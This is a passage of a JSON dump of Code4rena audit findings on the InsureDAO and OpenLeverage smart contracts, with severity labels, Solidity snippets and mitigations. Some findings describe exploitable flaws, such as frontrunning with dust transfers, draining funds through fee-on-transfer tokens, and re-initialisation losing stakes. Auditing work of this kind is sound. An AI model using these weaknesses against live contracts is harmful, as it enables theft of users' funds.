XDEFIDistribution.sol : reachable assert in line 288 "}, {"title": "Two Steps Verification before Transferring Ownership", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/20", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2022-01-insure-findings", "body": "Two Steps Verification before Transferring Ownership"}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Named return issue"}, {"title": "Require with empty message", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Require with empty message"}, {"title": "Check if amount is not zero to save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle robee # Vulnerability details The following functions could skip other steps if the amount is 0. (A similar issue: https://github.com/code-423n4/2021-10-badgerdao-findings/issues/82) InsureDAOERC20.sol, name InsureDAOERC20.sol, symbol InsureDAOERC20.sol, decimals InsureDAOERC20.sol, totalSupply InsureDAOERC20.sol, balanceOf InsureDAOERC20.sol, transfer InsureDAOERC20.sol, allowance InsureDAOERC20.sol, approve InsureDAOERC20.sol, transferFrom InsureDAOERC20.sol, increaseAllowance InsureDAOERC20.sol, decreaseAllowance InsureDAOERC20.sol, _transfer InsureDAOERC20.sol, _mint InsureDAOERC20.sol, _burn InsureDAOERC20.sol, _approve InsureDAOERC20.sol, _beforeTokenTransfer InsureDAOERC20.sol, _afterTokenTransfer "}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Public functions to external"}, {"title": "Storage double reading. Could save SLOAD", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/5", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Storage double reading. Could save SLOAD"}, {"title": "Unused state variables", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Unused state variables"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "Unused imports"}, {"title": "Multiple potential reentrancies", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/270", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Multiple potential reentrancies"}, {"title": "Anyone can crash transferTo", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/261", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function transferTo allows transferring amount from beneficiary to any address. However, 'to' is considered valid when it does not have an amount locked yet: ```solidity function transferTo(address to, uint amount) external ... require(releaseVars[to].amount == 0, 'to is exist'); ``` It locks this amount for releaseVars[beneficiary].endTime. Because the blockchain is public, a malicious actor could monitor the mempool, and crash any attempt of transferTo by frontrunning it and calling transferTo with the smallest fraction (dust) from his own address to the 'to' address, making it unavailable to receive new locks for some time (even 4 years is possible?). ## Recommended Mitigation Steps A few possible solutions would be to introduce a reasonable minimum amount to transfer or add a 2-step approval, where 'to' first have to approve the beneficiary. "}, {"title": "Optimize `OpenLevV1.sol#addMarket`", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/250", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Optimize `OpenLevV1.sol#addMarket`"}, {"title": "Timelock.sol modification removes logic checks", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/247", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-openleverage-findings", "body": "Timelock.sol modification removes logic checks"}, {"title": "Gas Optimization: Redundant check", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/236", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas Optimization: Redundant check"}, {"title": "anti-flashloan mechanism may lead to protocol default", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/233", "labels": ["bug", "2 (Med Risk)"], "target": "2022-01-openleverage-findings", "body": "anti-flashloan mechanism may lead to protocol default"}, {"title": "transfer() may break in future ETH upgrade", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/228", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle gzeon # Vulnerability details ## Impact `transfer()` only forward 2300 gas which may break when gas cost change in a future ETH upgrade see: https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/ ## Proof of Concept https://github.com/code-423n4/2022-01-openleverage/blob/501e8f5c7ebaf1242572712626a77a3d65bdd3ad/openleverage-contracts/contracts/OpenLevV1Lib.sol#L253 ``` payable(to).transfer(amount); ``` ## Recommended Mitigation Steps use call() instead "}, {"title": "Gas Optimization: No need to use SafeMath everywhere", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/225", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas Optimization: No need to use SafeMath everywhere"}, {"title": "Funds can be lost", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/220", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle csanuragjain # Vulnerability details ## Impact User funds can be lost if Admin sets startTimes[i] to 0 ## Proof of Concept 1. Navigate to contract https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/farming/FarmingPools.sol 2. Check the initDistributions function ``` function initDistributions(address[] memory stakeTokens, uint64[] memory startTimes, uint64[] memory durations) external onlyAdmin { for (uint256 i = 0; i < stakeTokens.length; i++) { require(distributions[stakeTokens[i]].starttime == 0, 'Init once'); distributions[stakeTokens[i]] = Distribution(durations[i], startTimes[i], 0, 0, 0, 0, 0); } } ``` 3. Assume Admin calls this for token X with startTimes[i] as 0. This creates a new distribution with start time as 0 for token X 4. User Y stakes amount 500 for this token X 5. Admin calls initDistributions again with token X and startTimes[i] as 1000. This overwrites and reinitializes distributions[X] which means totalStaked becomes 0 and contract has lost all track of user funds now ## Recommended Mitigation Steps Add a check to see startTimes[i]!=0 in initDistributions function "}, {"title": "Last reward is discarded when reward added twice", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/218", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Last reward is discarded when reward added twice"}, {"title": "User reward can get stuck", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/215", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "User reward can get stuck"}, {"title": "Gas savings and corrections", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/212", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas savings and corrections"}, {"title": "Unused library `ReentrancyGuard`", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/209", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle WatchPug # Vulnerability details The library `ReentrancyGuard` is imported and inherited, but the modifier `nonReentrant` is unused. https://github.com/code-423n4/2022-01-openleverage/blob/501e8f5c7ebaf1242572712626a77a3d65bdd3ad/openleverage-contracts/contracts/liquidity/LPoolDepositor.sol#L14-L14 ```solidity contract LPoolDepositor is ReentrancyGuard { ``` ### Recommendation Remove the import and change to: ```solidity contract LPoolDepositor { ``` "}, {"title": "`UniV2ClassDex.sol#uniClassSell()` Tokens with fee on transfer are not fully supported", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/208", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-openleverage/blob/501e8f5c7ebaf1242572712626a77a3d65bdd3ad/openleverage-contracts/contracts/dex/bsc/UniV2ClassDex.sol#L31-L56 ```solidity function uniClassSell(DexInfo memory dexInfo, address buyToken, address sellToken, uint sellAmount, uint minBuyAmount, address payer, address payee ) internal returns (uint buyAmount){ address pair = getUniClassPair(buyToken, sellToken, dexInfo.factory); IUniswapV2Pair(pair).sync(); (uint256 token0Reserves, uint256 token1Reserves,) = IUniswapV2Pair(pair).getReserves(); sellAmount = transferOut(IERC20(sellToken), payer, pair, sellAmount); uint balanceBefore = IERC20(buyToken).balanceOf(payee); dexInfo.fees = getPairFees(dexInfo, pair); if (buyToken < sellToken) { buyAmount = getAmountOut(sellAmount, token1Reserves, token0Reserves, dexInfo.fees); IUniswapV2Pair(pair).swap(buyAmount, 0, payee, \"\"); } else { buyAmount = getAmountOut(sellAmount, token0Reserves, token1Reserves, dexInfo.fees); IUniswapV2Pair(pair).swap(0, buyAmount, payee, \"\"); } require(buyAmount >= minBuyAmount, 'buy amount less than min'); uint bought = IERC20(buyToken).balanceOf(payee).sub(balanceBefore); return bought; } ``` While `uniClassBuy()` correctly checks the actually received amount by comparing the before and after the balance of the receiver, `uniClassSell()` trusted the result given by `getAmountOut()`. This makes `uniClassSell()` can result in an output amount fewer than `minBuyAmount`. https://github.com/code-423n4/2022-01-openleverage/blob/501e8f5c7ebaf1242572712626a77a3d65bdd3ad/openleverage-contracts/contracts/dex/bsc/UniV2ClassDex.sol#L101-L102 ### Recommendation Change to: ```solidity function uniClassSell(DexInfo memory dexInfo, address buyToken, address sellToken, uint sellAmount, uint minBuyAmount, address payer, address payee ) internal returns (uint bought){ address pair = getUniClassPair(buyToken, sellToken, dexInfo.factory); IUniswapV2Pair(pair).sync(); (uint256 token0Reserves, uint256 token1Reserves,) = IUniswapV2Pair(pair).getReserves(); sellAmount = transferOut(IERC20(sellToken), payer, pair, sellAmount); uint balanceBefore = IERC20(buyToken).balanceOf(payee); dexInfo.fees = getPairFees(dexInfo, pair); if (buyToken < sellToken) { buyAmount = getAmountOut(sellAmount, token1Reserves, token0Reserves, dexInfo.fees); IUniswapV2Pair(pair).swap(buyAmount, 0, payee, \"\"); } else { buyAmount = getAmountOut(sellAmount, token0Reserves, token1Reserves, dexInfo.fees); IUniswapV2Pair(pair).swap(0, buyAmount, payee, \"\"); } uint bought = IERC20(buyToken).balanceOf(payee).sub(balanceBefore); require(bought >= minBuyAmount, 'buy amount less than min'); } ``` "}, {"title": "Misc", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/198", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Misc"}, {"title": "Bad actor may steal deposit return when liquidating a trade", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/195", "labels": ["bug", "1 (Low Risk)"], "target": "2022-01-openleverage-findings", "body": "Bad actor may steal deposit return when liquidating a trade"}, {"title": "The check for `max rate 1000 ole` should be inclusive", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/164", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "The check for `max rate 1000 ole` should be inclusive"}, {"title": "endTime can be before startTime", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/160", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle samruna # Vulnerability details https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OLETokenLock.sol#L66 In the above code, there is no check to see if endTime is before startTime. Due to this past beneficiaries can be transferred additional tokens Action: check if endTime if always in future. "}, {"title": "Gas: `// Shh - currently unused`", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/153", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas: `// Shh - currently unused`"}, {"title": "Gas in `LPool.sol:availableForBorrow()`: Avoid expensive calculation with an inclusive inequality", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas in `LPool.sol:availableForBorrow()`: Avoid expensive calculation with an inclusive inequality"}, {"title": "`ControllerStorage`: related market data should be grouped in a struct", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/146", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-openleverage-findings", "body": "`ControllerStorage`: related market data should be grouped in a struct"}, {"title": "Gas Optimization: Tight variable packing in `LPoolStorage.sol`", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-openleverage-findings", "body": "Gas Optimization: Tight variable packing in `LPoolStorage.sol`"}, {"title": "Gas in `Adminable.sol:acceptAdmin()`: SLOADs minimization", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/137", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas in `Adminable.sol:acceptAdmin()`: SLOADs minimization"}, {"title": "Gas: Tautology on \"variable >= 0\" which is always true as variable is uint", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost, as a variable of type `uint` will always be `>= 0`, therefore the check isn't necessary. ## Proof of Concept ``` contracts\\XOLE.sol:327: require(_locked.amount >= 0, \"Nothing to withdraw\"); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Delete the `>= 0` check "}, {"title": "Gas: Shift Right instead of Dividing by 2", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas: Shift Right instead of Dividing by 2"}, {"title": "Gas: \"constants\" expressions are expressions, not constants. Use \"immutable\" instead.", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas: \"constants\" expressions are expressions, not constants. Use \"immutable\" instead."}, {"title": "use require instead if/else", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/121", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "use require instead if/else"}, {"title": "unnecessary uint declaration", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "unnecessary uint declaration"}, {"title": "Gas saving optimizing storage", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas saving optimizing storage"}, {"title": "Gas saving optimizing setImplementation", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Gas saving optimizing setImplementation"}, {"title": "Anyone can claim airdrop amounts on behalf of anyone", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/107", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Anyone can claim airdrop amounts on behalf of anyone"}, {"title": "OpenLevV1.closeTrade with V3 DEX doesn't correctly accounts fee on transfer tokens for repayments", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/104", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle hyh # Vulnerability details ## Impact The amount that OpenLevV1 will receive can be less than V3 DEX indicated as a swap result, while it is used as given for position debt repayment accounting. This way actual funds received can be less than accounted, leaving to system funds deficit, which can be exploited by a malicious user, draining contract funds with multiple open/close with a taxed token. In the `trade.depositToken != longToken` case when `flashSell` is used this can imply inability to send remainder funds to a user and the failure of the whole closeTrade function, the end result is a freezing of user's funds within the system. ## Proof of Concept `trade.depositToken != longToken` case, can be wrong repayment accounting, which will lead to a deficit if the received funds are less than DEX returned `closeTradeVars.receiveAmount`. As a side effect, `doTransferOut` is done without balance check, so the whole position close can revert, leading to inability to close the position and freeze of user's funds this way: https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1.sol#L197-204 I.e. if there is enough funds in the system they will be drained, if there is not enough funds, user's position close will fail. V3 sell function doesn't check for balance change, using DEX returned amount as is: https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/dex/eth/UniV3Dex.sol#L61-70 ## Recommended Mitigation Steps If fee on tranfer tokens are fully in scope, do control all the accounting and amounts to be returned to a user via balance before/after calculations for DEX V3 logic as well. "}, {"title": "OpenLevV1.closeTrade can save trade.deposited to memory", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "OpenLevV1.closeTrade can save trade.deposited to memory"}, {"title": "using > instead of >=", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "using > instead of >="}, {"title": "UniV3Dex uniV3Buy slippage check error message is misleading", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/88", "labels": ["bug", "1 (Low Risk)"], "target": "2022-01-openleverage-findings", "body": "UniV3Dex uniV3Buy slippage check error message is misleading"}, {"title": "Race condition in approve()", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Race condition in approve()"}, {"title": "uniV2Buy calls buyAmount.toAmountBeforeTax twice, while it's constant", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "uniV2Buy calls buyAmount.toAmountBeforeTax twice, while it's constant"}, {"title": "transferAllowed does not fail", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle GeekyLumberjack # Vulnerability details ## Impact [transferTokens()](https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/liquidity/LPool.sol#L95-L135) will not fail when calling [transferAllowed()](https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/ControllerV1.sol#L88-L91) both [transfer()](https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/liquidity/LPool.sol#L141) and [transferFrom()](https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/liquidity/LPool.sol#L150) rely on transferTokens(). Both the name of the function transferAllowed() and the [comments](https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/liquidity/LPool.sol#L99) above the call show there should be some cases that cause these functions to fail in transferAllowed. ## Tools Used Manual review ## Recommended Mitigation Steps Update transfer allowed to include required failures. If there are none, update the comments and the name of the function. "}, {"title": "Gas saving by caching state variables", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-openleverage-findings", "body": "Gas saving by caching state variables"}, {"title": "Eth sent to Timelock will be locked in current implementation", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/80", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Eth sent to Timelock will be locked in current implementation"}, {"title": "Unused parameters in OpenLevV1 and ControllerV1 functions", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Unused parameters in OpenLevV1 and ControllerV1 functions"}, {"title": "unnecessary msg.sender cache", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "unnecessary msg.sender cache"}, {"title": "FarmingPools' notifyRewardAmounts and initDistributions do not check the lengths of input arrays", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle hyh # Vulnerability details ## Impact On calling with arrays of different lengths various malfunctions are possible as the arrays are used as given. System then will fail with low level array access message ## Proof of Concept notifyRewardAmounts: https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/farming/FarmingPools.sol#L163 initDistributions: https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/farming/FarmingPools.sol#L131 ## Recommended Mitigation Steps Require that (stakeTokens, reward) and (stakeTokens, startTimes, durations) arrays' lengths match within each set "}, {"title": "OpenLevV1Lib's and LPool's doTransferOut functions call native payable.transfer, which can be unusable for smart contract calls", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/75", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle hyh # Vulnerability details ## Impact When OpenLev operations use a wrapped native token, the whole user withdraw is being handled with a `payable.transfer()` call. This is unsafe as `transfer` has hard coded gas budget and can fail when the user is a smart contract. This way any programmatical usage of OpenLevV1 and LPool is at risk. Whenever the user either fails to implement the payable fallback function or cumulative gas cost of the function sequence invoked on a native token transfer exceeds 2300 gas consumption limit the native tokens sent end up undelivered and the corresponding user funds return functionality will fail each time. As OpenLevV1 `closeTrade` is affected this includes user's principal funds freeze scenario, so marking the issue as a high severity one. ## Proof of Concept OpenLevV1Lib and LPool have `doTransferOut` function that calls native token payable.transfer: OpenLevV1Lib.doTransferOut https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1Lib.sol#L253 LPool.doTransferOut https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/liquidity/LPool.sol#L297 LPool.doTransferOut is used in LPool redeem and borrow, while OpenLevV1Lib.doTransferOut is used in OpenLevV1 trade manipulation logic: closeTrade https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1.sol#L204 https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1.sol#L215 liquidate https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1.sol#L263 https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1.sol#L295 https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OpenLevV1.sol#L304 ## References The issues with `transfer()` are outlined here: https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/ ## Recommended Mitigation Steps OpenLevV1's `closeTrade` and `liquidate` as well as LPool's `redeem`, `redeemUnderlying`, `borrowBehalf`, `repayBorrowBehalf`, `repayBorrowEndByOpenLev` are all `nonReentrant`, so reentrancy isn't an issue and `transfer()` can be just replaced. Using low-level `call.value(amount)` with the corresponding result check or using the OpenZeppelin `Address.sendValue` is advised: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L60 "}, {"title": "declaring that contract is using `Utils` lib can use more gas", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "declaring that contract is using `Utils` lib can use more gas"}, {"title": "caching struct data type in memory cost more gas", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "caching struct data type in memory cost more gas"}, {"title": "pass the `dexInfo[dexName[i]` value without caching `DexInfo struct`", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle rfa # Vulnerability details ## Impact expensive gas ## Proof of Concept https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/dex/bsc/BscDexAggregatorV1.sol#L47 ## Recommended Mitigation Steps replace the 2 lines of code by just 1 line: ``` dexInfo[dexName[i]] = DexInfo(factoryAddr[i], fees[i]); ``` "}, {"title": "unnecessary _unsedFactory call", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "unnecessary _unsedFactory call"}, {"title": "The initialize function can be called multiple times", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/67", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-openleverage-findings", "body": "The initialize function can be called multiple times"}, {"title": "set pancakeFactory to constant", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "set pancakeFactory to constant"}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "No Transfer Ownership Pattern"}, {"title": "UniV2Dex and UniV2ClassDex use hard coded factory addresses for Pair and PairFees getters", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "UniV2Dex and UniV2ClassDex use hard coded factory addresses for Pair and PairFees getters"}, {"title": "Using `require` instead of `&&` can save gas", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Using `require` instead of `&&` can save gas"}, {"title": "Missing payable", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle robee # Vulnerability details The following functions are not payable but uses msg.value - therefore the function must be payable. This can lead to undesired behavior. LPool.sol, addReserves should be payable since using msg.value "}, {"title": "Use of tx.origin in ControllerV1.sol", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In ControllerV1.sol in the updatePriceAllowed() function tx.origin is used. tx.origin is a global variable in Solidity which returns the address of the account that sent the transaction. Using the variable could make a contract vulnerable if an authorized account calls into a malicious contract. ## Proof of Concept https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/ControllerV1.sol#L163 https://swcregistry.io/docs/SWC-115 ## Tools Used Manual code review ## Recommended Mitigation Steps Its recommended to use msg.sender instead "}, {"title": "no validation checks in ControllerV1.sol initialize function()", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "no validation checks in ControllerV1.sol initialize function()"}, {"title": "Anyone can call release() in OLETokenLock.sol", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In OLETokenLock.sol, the release() function distributes all the allotted tokens to the beneficiaries but it can be called by anyone. This should be an admin protected function as it's very important and deals with the transfer of tokens to beneficiaries which should not be accessed by simply anyone. ## Proof of Concept https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/OLETokenLock.sol#L39 ## Tools Used Manual code review ## Recommended Mitigation Steps OLETokenLock.sol should inherit the Adminable.sol contract and add require(msg.sender = admin, \"Not Authorized\"); to the release() function. "}, {"title": "mint() function doesn't require 0 to be larger than 0", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/55", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "mint() function doesn't require 0 to be larger than 0"}, {"title": "No validation for constructor arguments in OLEToken.sol", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "No validation for constructor arguments in OLEToken.sol"}, {"title": "Does not validate the input fee parameter", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/50", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Does not validate the input fee 